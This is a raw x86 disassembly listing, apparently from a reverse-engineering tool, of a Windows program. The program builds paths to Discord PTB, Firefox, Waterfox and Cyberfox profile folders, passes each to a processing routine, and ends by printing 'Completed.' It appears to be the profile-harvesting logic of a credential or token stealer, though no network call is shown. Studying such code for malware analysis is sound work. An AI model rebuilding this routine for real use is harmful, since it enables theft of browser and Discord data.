cmovae eax, dword [esp + 0x5c]
push str.discordptb
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 4
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413f54
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413f4a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
test byte [0x496a74], 2
je 0x4141d2
sub esp, 0x18
mov ecx, esp
push 7
push str.Firefox
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x68]
mov eax, esi
sub eax, ecx
cmp eax, 0x19
jb 0x4142d3
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x58]
push 0x19
cmovae eax, dword [esp + 0x5c]
push str.MozillaFirefoxProfiles
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 2
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x414032
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414028
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 8
push str.Waterfox
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x68]
mov eax, esi
sub eax, ecx
cmp eax, 0x12
jb 0x4142d3
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x58]
push 0x12
cmovae eax, dword [esp + 0x5c]
push str.WaterfoxProfiles
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 2
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x414103
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4140f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 8
push str.Cyberfox
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x68]
sub esi, ecx
cmp esi, 0x1f
jb 0x4142d3
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x58]
push 0x1f
cmovae eax, dword [esp + 0x5c]
push str.8pecxstudiosCyberfoxProfiles
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 2
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x4141d2
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4141c8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
push 0xa
push str.Completed.
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
call fcn.00401bb0
mov edx, dword [esp + 0x1c]
cmp edx, 0x10
jb 0x414230
mov ecx, dword [esp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x414226
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
mov edx, dword [esp + 0x54]
cmp edx, 8
jb 0x414268
mov ecx, dword [esp + 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41425e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
mov edx, dword [esp + 0x3c]
cmp edx, 8
jb 0x4142a0
mov ecx, dword [esp + 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414296
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
lea ecx, [esp + 0x58]
call fcn.00414410
mov ecx, dword [esp + 0x64]
xor eax, eax
pop esi
xor ecx, esp
call fcn.0044c0d8
mov esp, ebp
pop ebp
ret 0x10
push 0x64
call fcn.00455c97
call fcn.00450fe0
call fcn.00450fe0
call fcn.00450fe0
call fcn.00401760
int3